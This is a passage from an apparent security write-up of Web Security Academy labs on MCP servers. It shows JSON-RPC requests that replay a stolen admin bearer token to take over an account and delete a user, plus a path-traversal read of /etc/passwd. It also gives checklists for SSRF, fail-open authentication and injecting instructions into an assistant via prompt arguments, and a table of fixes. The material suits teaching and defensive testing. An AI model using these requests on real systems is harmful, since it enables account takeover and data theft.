}That token is the administrator. The MCP server here is stateless - no Mcp-Session-Id, the bearer token is the identity:
POST /mcp HTTP/2
Host: 0ac400870333a66682873d51000d0058.web-security-academy.net
Authorization: Bearer LqkTZvU6K5OUvIBM88UcJyDjLinAcPq3
Content-Type: application/json
Accept: application/json, text/event-stream
{
"jsonrpc": "2.0",
"id": 1,
"method": "initialize",
"params": {
"protocolVersion": "2025-06-18",
"capabilities": {},
"clientInfo": { "name": "poc", "version": "1.0" }
}
}POST /mcp HTTP/2
Host: 0ac400870333a66682873d51000d0058.web-security-academy.net
Content-Type: application/json
{
"jsonrpc": "2.0",
"id": 2,
"method": "tools/call",
"params": {
"name": "get_account_details",
"arguments": {}
}
}{
"jsonrpc": "2.0",
"id": 2,
"result": {
"content": [
{
"type": "text",
"text": "{\n \"username\": \"administrator\",\n \"email\": \"\"\n}"
}
],
"isError": false
}
}Account takeover confirmed. Then the lab objective:
POST /mcp HTTP/2
Host: 0ac400870333a66682873d51000d0058.web-security-academy.net
Content-Type: application/json
{
"jsonrpc": "2.0",
"id": 3,
"method": "tools/call",
"params": {
"name": "delete_user",
"arguments": {
"username": "carlos"
}
}
}{
"jsonrpc": "2.0",
"id": 3,
"result": {
"content": [{ "type": "text", "text": "Deleted carlos" }],
"isError": false
}
}Why it matters: neither flaw is exotic on its own - open redirect registration and cached consent are both “normal” OAuth shortcuts. Together, on a protocol where clients register themselves automatically, they become takeover of the one identity everyone trusts.
Beyond tools: resources, prompts and server information#
Tools are the most obvious attack surface, but they are not the only one. Resources, prompts and the information a server reveals about itself can also lead to vulnerabilities.
A client reads a resource by sending its URI in a resources/read request. Servers often build resource URIs from templates such as file:///app/docs/{name}, which the client fills in, and the server then turns that URI into a file path, a database query or an outbound request - which makes resources prone to the same input-handling flaws as tool arguments:
POST /mcp HTTP/2
Host: 0ac400870333a66682873d51000d0058.web-security-academy.net
Content-Type: application/json
{
"jsonrpc": "2.0",
"id": 5,
"method": "resources/read",
"params": {
"uri": "file:///app/docs/../../../etc/passwd"
}
}When testing resources, try:
- path traversal sequences in any part of the URI that maps to a file path, including URL-encoded variants;
- URIs the server did not list - servers often read any URI that matches a template, or any URI at all;
- different URI schemes, for example an
http://URI where onlyfile://resources are advertised, which may lead to SSRF or local file reads if the server fetches it; - URIs that identify another user’s data, such as a resource containing a username or record ID, which may reveal access control flaws.
Prompts are fetched with prompts/get, and the server inserts the arguments into a template that the assistant then acts on. Look for prompts that reveal sensitive information such as internal instructions, tool names or credentials; arguments the server reuses for lookups, which may be injectable; and arguments inserted into the prompt without restriction, which let an attacker who controls them inject instructions for the assistant.
Server information matters too. The name, version, capabilities and instructions tell you what software it runs - worth checking against known vulnerabilities in the MCP framework or SDK - and the instructions often reference tools, resources or behaviour the lists do not show.
Authentication vulnerabilities#
An MCP server needs to know which user each request comes from so it can decide which tools that user may call. If it identifies the user incorrectly, an attacker may be able to call tools as a more privileged user.
One pattern to test for specifically is authentication that fails open. Some servers accept more than one kind of credential - say their own API keys and OAuth tokens issued for another service. If the server cannot validate a token and falls back to a default identity instead of rejecting the request, it fails open.
Send three requests: one with no token, one with a valid token, and one with a token that is well formed but invalid. Compare the responses. A server that rejects a missing token but accepts an invalid one is a strong sign of this flaw - which is exactly lab 4.
Class, cause, fix#
| Class | Cause | Fix |
|---|---|---|
| Hidden tools | Catalogue filter doubles as access control | Authorize invocation, per tool and per object |
| Unsafe arguments | Caller input reaches a sensitive backend | Validate types, parameterize queries, allowlist destinations |
| Resource templates | Unrestricted URI resolution or missing ownership checks | Allowlist URI mappings, authorize each read |
| Prompts | Sensitive output or untrusted content crosses a boundary | Restrict retrieval, keep untrusted text out of instruction channels |
| Server information | Metadata exposes more than clients need | Minimize disclosure, enforce permissions regardless |
| Fail-open auth | Validation failure selects a fallback identity | Reject credentials you cannot validate |
| Session authentication | Session ID substitutes for proof of identity | Authenticate every request, bind sessions to users |
| OAuth registration | Loose redirects, consent tied to display names | Restrict and exact-match redirects, key consent to client_id |
Closing#
Six labs, and none of them needed a language model to exploit. The vulnerabilities are the ones you would find in any API: unvalidated arguments, missing object-level authorization, catalogue-only access control, fail-open authentication, predictable session identifiers, and an OAuth server that trusts a display name.
The MCP-specific part is the shape of the target: JSON-RPC on a single endpoint, capabilities the server advertises itself, and clients that register automatically. That makes discovery fast and the attack surface unusually explicit - good news for whoever is testing, and a reason to treat every tool in that list as a public endpoint.
